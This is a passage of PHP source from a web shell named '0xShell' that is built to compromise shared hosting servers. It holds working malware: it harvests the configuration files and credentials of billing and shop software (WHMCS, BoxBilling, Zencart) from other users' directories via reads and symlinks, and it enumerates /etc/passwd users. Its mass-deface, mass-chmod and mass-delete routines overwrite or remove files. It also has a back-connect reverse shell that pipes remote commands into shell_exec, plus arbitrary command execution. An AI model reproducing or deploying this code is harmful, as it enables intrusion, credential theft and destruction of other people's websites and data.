"/home/{$user_cox}/public_html/Billings/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/billings/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/BASKET/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/Basket/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/basket/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/SECURE/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/Secure/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/secure/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/SALES/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/Sales/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/sales/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/BILL/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/Bill/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/bill/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/PURCHASE/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/Purchase/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/purchase/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/ACCOUNT/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/Account/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/account/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/USER/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/User/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/user/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/CLIENTS/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/Clients/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/clients/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/BILLINGS/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/Billings/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/billings/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/MY/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/My/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/my/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/secure/whm/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/secure/whmcs/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/panel/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/clientes/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/cliente/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/support/order/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/bb-config.php" => "BoxBilling", "/home/{$user_cox}/public_html/boxbilling/bb-config.php" => "BoxBilling", "/home/{$user_cox}/public_html/box/bb-config.php" => "BoxBilling", "/home/{$user_cox}/public_html/host/bb-config.php" => "BoxBilling", "/home/{$user_cox}/public_html/Host/bb-config.php" => "BoxBilling", "/home/{$user_cox}/public_html/supportes/bb-config.php" => "BoxBilling", "/home/{$user_cox}/public_html/support/bb-config.php" => "BoxBilling", "/home/{$user_cox}/public_html/hosting/bb-config.php" => "BoxBilling", "/home/{$user_cox}/public_html/cart/bb-config.php" => "BoxBilling", "/home/{$user_cox}/public_html/order/bb-config.php" => "BoxBilling", "/home/{$user_cox}/public_html/client/bb-config.php" => "BoxBilling", "/home/{$user_cox}/public_html/clients/bb-config.php" => "BoxBilling", "/home/{$user_cox}/public_html/cliente/bb-config.php" => "BoxBilling", "/home/{$user_cox}/public_html/clientes/bb-config.php" => "BoxBilling", "/home/{$user_cox}/public_html/billing/bb-config.php" => "BoxBilling", "/home/{$user_cox}/public_html/billings/bb-config.php" => "BoxBilling", "/home/{$user_cox}/public_html/my/bb-config.php" => "BoxBilling", "/home/{$user_cox}/public_html/secure/bb-config.php" => "BoxBilling", "/home/{$user_cox}/public_html/support/order/bb-config.php" => "BoxBilling", "/home/{$user_cox}/public_html/includes/dist-configure.php" => "Zencart", "/home/{$user_cox}/public_html/zencart/includes/dist-configure.php" => "Zencart", "/home/{$user_cox}/public_html/products/includes/dist-configure.php" => "Zencart", "/home/{$user_cox}/public_html/cart/includes/dist-configure.php" => "Zencart", "/home/{$user_cox}/public_html/shop/includes/dist-configure.php" => "Zencart", "/home/{$user_cox}/public_html/includes/iso4217.php" => "Hostbills", "/home/{$user_cox}/public_html/hostbills/includes/iso4217.php" => "Hostbills", "/home/{$user_cox}/public_html/host/includes/iso4217.php" => "Hostbills", "/home/{$user_cox}/public_html/Host/includes/iso4217.php" => "Hostbills", "/home/{$user_cox}/public_html/supportes/includes/iso4217.php" => "Hostbills", "/home/{$user_cox}/public_html/support/includes/iso4217.php" => "Hostbills", "/home/{$user_cox}/public_html/hosting/includes/iso4217.php" => "Hostbills", "/home/{$user_cox}/public_html/cart/includes/iso4217.php" => "Hostbills", "/home/{$user_cox}/public_html/order/includes/iso4217.php" => "Hostbills", "/home/{$user_cox}/public_html/client/includes/iso4217.php" => "Hostbills", "/home/{$user_cox}/public_html/clients/includes/iso4217.php" => "Hostbills", "/home/{$user_cox}/public_html/cliente/includes/iso4217.php" => "Hostbills", "/home/{$user_cox}/public_html/clientes/includes/iso4217.php" => "Hostbills", "/home/{$user_cox}/public_html/billing/includes/iso4217.php" => "Hostbills", "/home/{$user_cox}/public_html/billings/includes/iso4217.php" => "Hostbills", "/home/{$user_cox}/public_html/my/includes/iso4217.php" => "Hostbills", "/home/{$user_cox}/public_html/secure/includes/iso4217.php" => "Hostbills", "/home/{$user_cox}/public_html/support/order/includes/iso4217.php" => "Hostbills");
            foreach ($grab_config as $config => $nama_config) {
                if ($_POST['tipe'] == 'grab') {
                    $ambil_config = file_get_contents($config);
                    if ($ambil_config == '') {
                    } else {
                        $file_config = fopen("0xgrab/{$user_cox}-{$nama_config}.txt", "w");
                        fputs($file_config, $ambil_config);
                    }
                }
                if ($_POST['tipe'] == 'grabsym') {
                    @symlink($config, "0xsym/" . $user_cox . "-" . $nama_config . ".txt");
                }
                if ($_POST['tipe'] == 'grabsym404') {
                    $sym404 = symlink($config, "0xsym404/" . $user_cox . "-" . $nama_config . ".txt");
                    if ($sym404) {
                        @mkdir("0xsym404/" . $user_cox . "-" . $nama_config . ".txt404", 0777);
                        $xsym404 = "Options Indexes FollowSymLinks\r\nDirectoryIndex jancox.htm\r\nHeaderName 0x.txt\r\nSatisfy Any\r\nIndexOptions IgnoreCase FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* SuppressHTMLPreamble\r\nIndexIgnore *\r\nIndexStyleSheet 'https://0x1999.github.io/0xShell/style/melex.css'";
                        @file_put_contents("0xsym404/" . $user_cox . "-" . $nama_config . ".txt404/.htaccess", $xsym404);
                        @symlink($config, "0xsym404/" . $user_cox . "-" . $nama_config . ".txt404/0x.txt");
                    }
                }
            }
        }
        if ($_POST['tipe'] == 'grab') {
            echo "<center><a href='?dir={$dir}/0xgrab'><font color=lime>Done</font></a></center>";
        }
        if ($_POST['tipe'] == 'grabsym404') {
            echo "<center>\r\n<a href=\"0xsym404/root/\">Root Server</a>\r\n<br><a href=\"0xsym404/\">Configurations</a></center>";
        }
        if ($_POST['tipe'] == 'grabsym') {
            echo "<center>\r\n<a href=\"0xsym/root/\">Root Server</a>\r\n<br><a href=\"0xsym/\">Configurations</a></center>";
        }
        if ($_POST['tipe'] == 'grabsymv') {
            echo "<center>\r\n<a href=\"0xsymv/root/\">Root Server</a>\r\n<br><a href=\"0xsymv/\">Configurations</a></center>";
        }
    } else {
        echo "<form method=\"post\" action=\"\"><center>\r\n        <select class=\"select\" name=\"tipe\"  style=\"width: 450px;\" height=\"10\">\r\n        <option value=\"grab\">Config Grab</option>\r\n        <option value=\"grabsym\">Symlink Config</option>\r\n\t\t<option value=\"grabsym404\">Symlink Config 404</option>\r\n\t\t<option value=\"grabsymv\">VHosts Symlink Config</option>\r\n\t\t</center></select>\r\n\t\t<br>\n";
        if (!$etcpasswd) {
            echo "<textarea name=\"passwd\" class='area' rows='15' cols='60'>\n";
            for ($uid = 0; $uid < 60000; $uid++) {
                $ara = posix_getpwuid($uid);
                if (!empty($ara)) {
                    while (list($key, $val) = each($ara)) {
                        print "{$val}:";
                    }
                    print "\n";
                }
            }
            echo "</textarea><br><input type=\"submit\" value=\"GassPoll\"></td></tr></center>\n";
        } else {
            echo "<textarea name=\"passwd\" class='area' rows='15' cols='60'>\n";
            echo $etcpasswd;
            echo "</textarea><br><input type=\"submit\" value=\"GassPoll\"></td></tr></center>\n";
        }
    }
} elseif (isset($_GET['do']) && $_GET['do'] == 'cekjum') {
    echo "<form method=\"post\" action=\"\" style=\"float: left;\">\r\n    Dir :\r\n    <input size=\"30\" name=\"cekjum\" height=\"10\" type=\"text\"><input name=\"submit\" value=\">>\" type=\"submit\">\r\n    </form><br><br>";
    if ($_POST) {
        echo cekjum($_REQUEST['cekjum']);
    } else {
        echo cekjum($_GET['cekjum']);
    }
} elseif (isset($_GET['do']) && $_GET['do'] == 'jump') {
    $i = 0;
    echo "<pre><div class='margin: 5px auto;'>";
    $etc = $etcpasswd;
    if (!$etc) {
        echo "<font color=red>Can't read /etc/passwd</font>";
    } else {
        preg_match_all('/(.*?):x:/', $etc, $user_jumping);
        foreach ($user_jumping[1] as $userjum) {
            $userjumdir = "/home/{$userjum}/public_html";
            $perm = permissions($userjumdir);
            $perm = w($userjumdir, $perm);
            if (is_readable($userjumdir)) {
                $i++;
                $jrw = "<a>[<font color=lime>R</font>]  [{$perm}] </a><a href='?dir={$userjumdir}'><font color=gold>{$userjumdir}</font></a> <a href='?do=cekjum&cekjum={$userjumdir}' target='_blank'>Check</a><br>";
                if (is_writable($userjumdir)) {
                    $jrw = "<a>[<font color=lime>RW</font>] [{$perm}] </a><a href='?dir={$userjumdir}'><font color=gold>{$userjumdir}</font></a> <a href='?do=cekjum&cekjum={$userjumdir}' target='_blank'>Check</a><br>";
                }
                echo $jrw;
            }
        }
    }
    if ($i == 0) {
    } else {
        echo "<br>Total ada " . $i . " Kimcil di " . gethostbyname($_SERVER['HTTP_HOST']) . "";
    }
    echo "</div></pre>";
} elseif (isset($_GET['do']) && $_GET['do'] == 'setting') {
    echo "<center>\r\n    <h1>Manual Setting Area</h1>\r\n    <form method='post'>\r\n    <br><input type='submit' value='RESET ALL' name='reset'><br>\r\n    etc/passwd<br>\r\n    <textarea style='background:black;outline:none;' name='etcpasswd' rows='10' cols='67'>{$etcpasswd}</textarea>\r\n    <input type='submit' value='Save'>\r\n    <br>etc/trueuserowners<br>\r\n    <textarea style='background:black;outline:none;' name='etctrueuserowners' rows='10' cols='67'>{$etctrueuserowners}</textarea>\r\n    <input type='submit' value='Save'>\r\n    <br>etc/named.conf<br>\r\n    <textarea style='background:black;outline:none;' name='etcnamedconf' rows='10' cols='67'></textarea>\r\n    <input type='submit' value='Save'>\r\n    <br>configlist<br>\r\n    <textarea style='background:black;outline:none;' name='configlist' rows='10' cols='67'></textarea>\r\n    <br><input type='submit' value='Save'>\r\n    </form></center>";
    // $etctrueuserowners
    if ($_POST['etcpasswd']) {
        $_SESSION['etcpasswd'] = $_POST['etcpasswd'];
    }
    if ($_POST['etctrueuserowners']) {
        $_SESSION['etctrueuserowners'] = $_POST['etctrueuserowners'];
    }
    if ($_POST['etcnamedconf']) {
        $_SESSION['etcnamedconf'] = $_POST['etcnamedconf'];
    }
    if ($_POST['configlist']) {
        $_SESSION['configlist'] = $_POST['configlist'];
    }
    if ($_POST['reset']) {
        unset($_SESSION['etctrueuserowners']);
        unset($_SESSION['etcpasswd']);
        unset($_SESSION['etcnamedconf']);
        unset($_SESSION['configlist']);
    }
} elseif (isset($_GET['do']) && $_GET['do'] == 'mass_deface') {
    echo "<center><form action=\"\" method=\"post\">\n";
    $dirr = $_POST['d_dir'];
    $index = $_POST["script"];
    $index = str_replace('"', "'", $index);
    $index = stripslashes($index);
    function edit_file($file, $index)
    {
        if (is_writable($file)) {
            clear_fill($file, $index);
            echo "<Span style='color:green;'><strong> [+] Nyabun 100% Successfull </strong></span><br></center>";
        } else {
            echo "<Span style='color:red;'><strong> [-] Ternyata Tidak Boleh Menyabun Disini :( </strong></span><br></center>";
        }
    }
    function hapus_massal($dir, $namafile)
    {
        if (is_writable($dir)) {
            $dira = scandir($dir);
            foreach ($dira as $dirb) {
                $dirc = "{$dir}/{$dirb}";
                $lokasi = $dirc . '/' . $namafile;
                if ($dirb === '.') {
                    if (file_exists("{$dir}/{$namafile}")) {
                        unlink("{$dir}/{$namafile}");
                    }
                } elseif ($dirb === '..') {
                    if (file_exists("" . dirname($dir) . "/{$namafile}")) {
                        unlink("" . dirname($dir) . "/{$namafile}");
                    }
                } else {
                    if (is_dir($dirc)) {
                        if (is_writable($dirc)) {
                            if (file_exists($lokasi)) {
                                echo "[<font color=lime>DELETED</font>] {$lokasi}<br>";
                                unlink($lokasi);
                                $idx = hapus_massal($dirc, $namafile);
                            }
                        }
                    }
                }
            }
        }
    }
    function clear_fill($file, $index)
    {
        if (file_exists($file)) {
            $handle = fopen($file, 'w');
            fwrite($handle, '');
            fwrite($handle, $index);
            fclose($handle);
        }
    }
    function gass()
    {
        global $dirr, $index;
        chdir($dirr);
        $me = "del.php.311b785dd9a3863da1eb8df2a422eaa7.bin";
        $files = scandir($dirr);
        $notallow = array(".htaccess", "error_log", "_vti_inf.html", "_private", "_vti_bin", "_vti_cnf", "_vti_log", "_vti_pvt", "_vti_txt", "cgi-bin", ".contactemail", ".cpanel", ".fantasticodata", ".htpasswds", ".lastlogin", "access-logs", "cpbackup-exclude-used-by-backup.conf", ".cgi_auth", ".disk_usage", ".statspwd", "..", ".");
        sort($files);
        $n = 0;
        foreach ($files as $file) {
            if ($file != $me && is_dir($file) != 1 && !in_array($file, $notallow)) {
                echo "<center><Span style='color: #8A8A8A;'><strong>{$dirr}/</span>{$file}</strong> ====> ";
                edit_file($file, $index);
                flush();
                $n += 1;
            }
        }
        echo "<br>";
        echo "<center><br><h3>{$n} Kali Anda Telah Ngecrot  Disini </h3></center><br>";
    }
    function ListFiles($dirrall)
    {
        if ($dh = opendir($dirrall)) {
            $files = array();
            $inner_files = array();
            $me = "del.php.311b785dd9a3863da1eb8df2a422eaa7.bin";
            $notallow = array($me, ".htaccess", "error_log", "_vti_inf.html", "_private", "_vti_bin", "_vti_cnf", "_vti_log", "_vti_pvt", "_vti_txt", "cgi-bin", ".contactemail", ".cpanel", ".fantasticodata", ".htpasswds", ".lastlogin", "access-logs", "cpbackup-exclude-used-by-backup.conf", ".cgi_auth", ".disk_usage", ".statspwd", "Thumbs.db");
            while ($file = readdir($dh)) {
                if ($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow)) {
                    if (is_dir($dirrall . "/" . $file)) {
                        $inner_files = ListFiles($dirrall . "/" . $file);
                        if (is_array($inner_files)) {
                            $files = array_merge($files, $inner_files);
                        }
                    } else {
                        array_push($files, $dirrall . "/" . $file);
                    }
                }
            }
            closedir($dh);
            return $files;
        }
    }
    function gass_all()
    {
        global $index;
        $dirrall = $_POST['d_dir'];
        foreach (ListFiles($dirrall) as $key => $file) {
            $file = str_replace('//', "/", $file);
            echo "<center><strong>{$file}</strong> ===>";
            edit_file($file, $index);
            flush();
        }
        $key += 1;
        echo "<center><br><h3>{$key} Kali Anda Telah Ngecrot  Disini  </h3></center><br>";
    }
    function chmod_all()
    {
        $chmod = $_POST['chmod'];
        $dirrall = $_POST['d_dir'];
        foreach (ListFiles($dirrall) as $key => $file) {
            $file = str_replace('//', "/", $file);
            echo "<center><strong>{$file}</strong> ===>";
            chmod($file, $chmod);
            flush();
        }
        $key += 1;
        echo "<center><br><h3>{$key} telah ngentu chmod disini</h3></center><br>";
    }
    function sabun_massal($dir, $namafile, $isi_script)
    {
        if (is_writable($dir)) {
            $dira = scandir($dir);
            foreach ($dira as $dirb) {
                $dirc = "{$dir}/{$dirb}";
                $lokasi = $dirc . '/' . $namafile;
                if ($dirb === '.') {
                    file_put_contents($lokasi, $isi_script);
                } elseif ($dirb === '..') {
                    file_put_contents($lokasi, $isi_script);
                } else {
                    if (is_dir($dirc)) {
                        if (is_writable($dirc)) {
                            echo "[<font color=lime>DONE</font>] {$lokasi}<br>";
                            file_put_contents($lokasi, $isi_script);
                            $idx = sabun_massal($dirc, $namafile, $isi_script);
                        }
                    }
                }
            }
        }
    }
    if ($_POST['mass'] == 'onedir') {
        echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\n";
        $ini = "http://";
        $mainpath = $_POST[d_dir];
        $dir = opendir("{$mainpath}");
        $code = base64_encode($_POST[script]);
        $indx = base64_decode($code);
        while ($row = readdir($dir)) {
            if ($_POST["random_name"]) {
                $file = rand(1000000, 9999999) . "7" . $_POST[d_file];
            } else {
                $file = $_POST[d_file];
            }
            $start = @fopen("{$row}/{$file}", "w+");
            $finish = @fwrite($start, $indx);
            if ($finish) {
                echo "{$ini}{$row}/{$file}\n";
            }
        }
        echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\n";
        $mainpath = $_POST[d_dir];
        $dir = opendir("{$mainpath}");
        $code = base64_encode($_POST[script]);
        $indx = base64_decode($code);
        while ($row = readdir($dir)) {
            if ($_POST["random_name"]) {
                $file = $_POST[d_file] . "7" . rand(1000000, 9999999);
            } else {
                $file = $_POST[d_file];
            }
            $start = @fopen("{$row}/{$file}", "w+");
            $finish = @fwrite($start, $indx);
            if ($finish) {
                echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>';
            }
        }
    } elseif ($_POST['mass'] == 'sabunkabeh') {
        gass();
    } elseif ($_POST['mass'] == 'hapusmassal') {
        hapus_massal($_POST['d_dir'], $_POST['d_file']);
    } elseif ($_POST['mass'] == 'sabunmematikan') {
        gass_all();
    } elseif ($_POST['mass'] == 'chmodkabeh') {
        chmod_all();
    } elseif ($_POST['mass'] == 'massdeface') {
        echo "<div style='margin: 5px auto; padding: 5px'>";
        sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
        echo "</div>";
    } else {
        echo "\r\n        <center><font style='text-decoration: underline;'>\r\n        Select Type:<br>\r\n        </font>\r\n        <select class=\"select\" name=\"mass\"  style=\"width: 450px;\" height=\"10\">\r\n        <option value=\"onedir\">Mass Deface 1 Dir</option>\r\n        <option value=\"massdeface\">Mass Deface ALL Dir</option>\r\n        <option value=\"sabunkabeh\">Sabun Massal Di Tempat</option>\r\n        <option value=\"sabunmematikan\">Sabun Massal Bunuh Diri</option>\r\n        <option value=\"chmodkabeh\">Chmod Massal</option>\r\n        <option value=\"hapusmassal\">Mass Delete Files</option></center></select><br>\r\n        <font style='text-decoration: underline;'>Folder:</font><br>\r\n        <input type='text' name='d_dir' value='{$dir}' style='width: 450px;' height='10'><br>\r\n        <font style='text-decoration: underline;'>Filename:</font><br>\r\n        <input type='text' name='d_file' value='0x.php' style='width: 450px;' height='10'><input type='checkbox' name='random_name' value='random name'><br>\r\n        <font style='text-decoration: underline;'>Index File:</font><br>\r\n        <textarea name='script' style='width: 450px; height: 200px;'>Hacked By 0x1999</textarea><br>\r\n        <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>\r\n        </form></center>";
    }
} elseif (isset($_GET['do']) && $_GET['do'] == 'bc') {
    echo "\r\n  <div id=\"back\">\r\n            <h2>Back Connect</h2>\r\n            <p>Back connect will allow you to enter system commands remotely.</p>\r\n            <p>\r\n            <table>\r\n\t\t\t\t<form action=\"\" method=\"post\">\r\n\t\t\t\t<tr ><td>IP Address: </td><td><input type=\"textbox\" name=\"ip\" style=\"border:1px solid #5C7296; color: #5C7296;background-color:#1d1d1d;font-size:13px;\"></td></tr>\r\n\t\t\t\t<tr ><td>Port: </td><td><input type=\"textbox\" name=\"port\" style=\"border:1px solid #5C7296; color: #5C7296;background-color:#1d1d1d;font-size:13px;\"></td></tr>\r\n\t\t\t\t<tr ><td><input type=\"submit\" name=\"bind\" value=\"Open Connection\" style=\"border:1px solid #5C7296; color: #5C7296;background-color:#1d1d1d;font-size:13px;\"></td></tr>\r\n\t\t\t\t</form>\r\n\t\t\t\t</table>";
    if (isset($_POST['bind'])) {
        echo "<p>Attempting Connection...</p>";
        $ip = $_POST['ip'];
        $port = $_POST['port'];
        $sockfd = fsockopen($ip, $port, $errno, $errstr);
        if ($errno != 0) {
            echo "<font color='red'>{$errno} : {$errstr}</font>";
        } else {
            if (!$sockfd) {
                $result = "<p>Unexpected error has occured, connection may have failed.</p>";
            } else {
                fputs($sockfd, "\r\n                \n{################################################################}\r\n                \n..:: 0xShell v1 - Coded By 0x1999 ::..\r\n                \n\r\n                \n=> Backconnect\r\n                \n=> Back\r\n                \n\r\n                \n{################################################################}\n\n");
                $dir = shell_exec("pwd");
                $sysinfo = shell_exec("uname -a");
                $time = Shell_exec("time");
                $len = 1337;
                fputs($sockfd, "User ", $sysinfo, "connected @ ", $time, "\n\n");
                while (!feof($sockfd)) {
                    $cmdPrompt = '[0x]#:> ';
                    fputs($sockfd, $cmdPrompt);
                    $command = fgets($sockfd, $len);
                    fputs($sockfd, "\n" . shell_exec($command) . "\n\n");
                }
                fclose($sockfd);
            }
        }
    }
    echo "</p></div>";
} elseif (isset($_GET['act']) && $_GET['act'] == 'edit') {
    if (isset($_POST['save'])) {
        $file = $_POST['saveas'];
        $content = magicboom($_POST['content']);
        if ($filez = @fopen($file, "w")) {
            $time = date("d-M-Y H:i", time());
            if (@fwrite($filez, $content)) {
                $msg = "file saved <span class=\"gaya\">@</span> " . $time;
            } else {
                $msg = "failed to save";
            }
            @fclose($filez);
        } else {
            $msg = "permission denied";
        }
    }
    if (!isset($file)) {
        $file = $_GET['file'];
    }
    if ($filez = @fopen($file, "r")) {
        $content = "";
        while (!feof($filez)) {
            $content .= htmlentities(str_replace("''", "'", fgets($filez)));
        }
        @fclose($filez);
    }
    ?>
		<form action="" method="post">
			<table class="cmdbox">
				<tr>
					<td colspan="2">
						<textarea class="output" name="content">
<?php 
    echo $content;
    ?>
</textarea>
						<tr>
							<td colspan="2">Save as <input id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php 
    echo $file;
    ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> &nbsp;
								<?php 
    echo $msg;
    ?>
							</td>
						</tr>
			</table>
		</form>
		<?php 
} elseif (isset($_GET['do']) && $_GET['do'] == 'serverinfo') {
    $s_safemode = ini_get("safe_mode");
    if ($s_safemode = true) {
        $s_safemode = "<span class='enabled'>[ON";
    } else {
        $s_safemode = "<span class='disabled'>[OFF";
    }
    if (extension_loaded('curl')) {
        $curls = "<span class='enabled'>[ON]</span>";
    } else {
        $curls = "<span class='disabled'>[OFF]</span>";
    }
    echo "Server Port: " . $_SERVER['SERVER_PORT'] . "<br /><br />HTTP Connection: " . $_SERVER['HTTP_CONNECTION'] . "<br /><br />Operating System: " . php_uname() . "<br /><br />";
    if (get_magic_quotes_gpc()) {
        echo "Magic Quotes: <span class='enabled'>[ENABLED]</span><br /><br />";
    } else {
        echo "Magic Quotes: <span class='disabled'>[DISABLED]</span><br /><br />";
    }
    echo "PHP Version: " . phpversion() . "<br /><br />Safe Mode: " . $s_safemode . "]</span><br /><br />Curl: " . $curls . "<br /><br />Accept Encoding:  " . $_SERVER['HTTP_ACCEPT_ENCODING'] . "<br /><br />Admin: " . $_SERVER['SERVER_ADMIN'] . "<br /><br /><strong>Disabled Functions: </strong>";
    if (!empty($disabled)) {
        foreach ($disabled as $functionsdis) {
            echo $functionsdis . ", ";
        }
    } else {
        echo "none";
    }
    echo "<br /><br /><strong>/etc/passwd: </strong>";
    if (is_readable("/home/etc/passwd")) {
        echo "<span style='color:green;'>Readable</span>";
    } else {
        echo "<span style='color:red;'>Unreadable</span>";
    }
} elseif (isset($_GET['do']) && $_GET['do'] == 'cmd') {
    if ($_POST['do_cmd']) {
        echo "<textarea class='area' rows='15' cols='60'>" . exe($_POST['cmd']) . "</textarea>";
    }
} elseif (isset($_GET['do']) && $_GET['do'] == 'about') {
    echo "\r\n\t\t<h4>Information</h4>\r\n\t\t<p>{$shell_name} v{$shell_version} Ngelu Edition - coded by 0x1999.</p>";
    ?>
			<ul>
				<li>Appearance C6 Shell.</li>
				<li>File Manager By IndoXploit.</li>
				<li>Thanks.</li>
			</ul>
			<br /><br />
			<?php 
} else {
    function GetFileSize($file)
    {
        if (!is_dir($file)) {
            return round(filesize($file) / 1024, 2) . " Kb";
        } else {
            return "Not Availible";
        }
    }
    function LastModified($file)
    {
        return date("F d Y g:i:s", filemtime("{$file}"));
    }
    ////////////
    if (is_dir($dir) == true) {
        echo "<table  cellspacing=\"0\" cellpadding=\"0\"><tr><td class=\"TableHeader_Name\"> FileName</td><td class=\"TableHeader\">Filetype</a></td><td class=\"TableHeader\">Size</td><td class=\"TableHeader\">Permisions</td><td class=\"TableLast\">Last Modified</td><td class=\"TableHeaderoptions\"> Options</td></tr>";
        $scandir = scandir($dir);
        foreach ($scandir as $dirx) {
            $dtype = @filetype("{$dir}/{$dirx}");
            $dtime = date("F d Y g:i:s", @filemtime("{$dir}/{$dirx}"));
            if (!is_dir("{$dir}/{$dirx}")) {
                continue;
            }
            if ($dirx === '..') {
                $href = dirname($dir);
            } elseif ($dirx === '.') {
                $href = $dir;
            } else {
                $href = $dir . '/' . $dirx;
            }
            if ($dirx == '.') {
                $act_dir = "<span id=\"titik1\">\r\n\t\t\t<a href='?act=edit&dir={$dir}&file={$dir}/newfile.php'>newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>\r\n\t\t\t<form action=\"?act=newfolder&dir={$dir}\" method=\"post\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">\r\n\r\n\t\t\t<input class=\"inputz\" style=\"width:130px;\" type=\"text\" name=\"newfolder\" placeholder=\"new_folder\" />\r\n\t\t\t<input class=\"inputzbut\" type=\"submit\" name=\"new_save_folder\" style=\"width:35px;\" value=\"Go !\" />\r\n\t\t\t</form>";
            } elseif ($dirx == '..') {
                $act_dir = "<span id=\"titik2\"><a href='?act=edit&dir={$dir}&file={$dir}/newfile.php'>newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>\r\n\t\t\t<form action=\"?act=newfolder&dir={$dir}\" method=\"post\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">\r\n\r\n\t\t\t<input class=\"inputz\" style=\"width:130px;\" type=\"text\" name=\"newfolder\" placeholder=\"new_folder\" />\r\n\t\t\t<input class=\"inputzbut\" type=\"submit\" name=\"new_save_folder\" style=\"width:35px;\" value=\"Go !\" />\r\n\t\t\t</form>";
            } else {
                $act_dir = "<a href=\"javascript:tukar('" . clearspace($dirx) . "_link','" . clearspace($dirx) . "_form');\">rename</a> | <a href='?act=delete_dir&dir={$dir}/{$dirx}'>delete</a>";
            }
            echo "<tr class='filetr'>";
            echo "<td class='td_home'><a id=\"" . clearspace($dirx) . "_link\"  href='?dir=" . $href . "'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFUSURBVDiNpZK9SgNBFIXPvXNndjcRopX4U4kWVr5AChU7H8BSfItAHkB9CXsrW0GwEQtRwVKMRtAU8ZcYWaNmM2OxqyyiYZdcGIaZ4Z77MeeQcw6DFA/UDUAAYHHj8hOATj9oRSe2Z1f2KjP1fgLknMPS5lW0Vi4pZopvHXDW+IhOr99gXTzkr9qvTBMtrNd8AsLVcomZKDP61kELihGIJ9QBgO2jdsIE/Jb5OacGFAwDQEeMEOZnh1EqMChtSB8a64BW2MNh7QVihCGKcNHswmZ0lAkYHxF4QhBPCKIYRU9l605KmGCEIUYztCYMBfkEjGZ4OiHwRQF+vkQG+ptACIFREJVPQAvFf+BrjoyQ+CZfqq118DRFEhjebbbel6dGiyTqf+vSrkaRQ/0utL7mHXl9vq+eP3Unbh/H5gDKiOF67YebY0dSJcRBm0z2rFl2yWp8AVDIW32da7pLAAAAAElFTkSuQmCC'>  {$dirx}</a>\r\n\r\n\r\n\r\n<form method=\"post\" id=\"" . clearspace($dirx) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">\r\n\t\t\t<input type=\"hidden\" name=\"oldname\" value=\"" . $dirx . "\" style=\"margin:0;padding:0;\" />\r\n\t\t\t<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"fol_rename\" value=\"" . $dirx . "\" />\r\n\t\t\t<input class=\"inputzbut\" type=\"submit\" name=\"dir_rename\" value=\"rename\" />\r\n\t\t\t<input class=\"inputzbut\" type=\"button\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($dirx) . "_form','" . clearspace($dirx) . "_link');\" />\r\n\t\t\t</form>\r\n\r\n\r\n\r\n\r\n\t\t\t</td>\r\n\r\n\r\n\r\n\t\t\t";
            echo "<td class='td_home'><center>{$dtype}</center></td>";
            echo "<td class='td_home'><center>-</center></th>";
            echo "<td class='td_home'><center>" . w("{$dir}/{$dirx}", permissions("{$dir}/{$dirx}")) . "</center></td>";
            echo "<td class='td_home'>{$dtime}</td>";
            echo "<td class='td_home' style='padding-left: 15px;'>{$act_dir}</td>";
        }
        echo "</tr>";
        foreach ($scandir as $file) {
            $ftype = filetype("{$dir}/{$file}");
            $ftime = date("F d Y g:i:s", filemtime("{$dir}/{$file}"));
            $size = filesize("{$dir}/{$file}") / 1024;
            $size = round($size, 3);
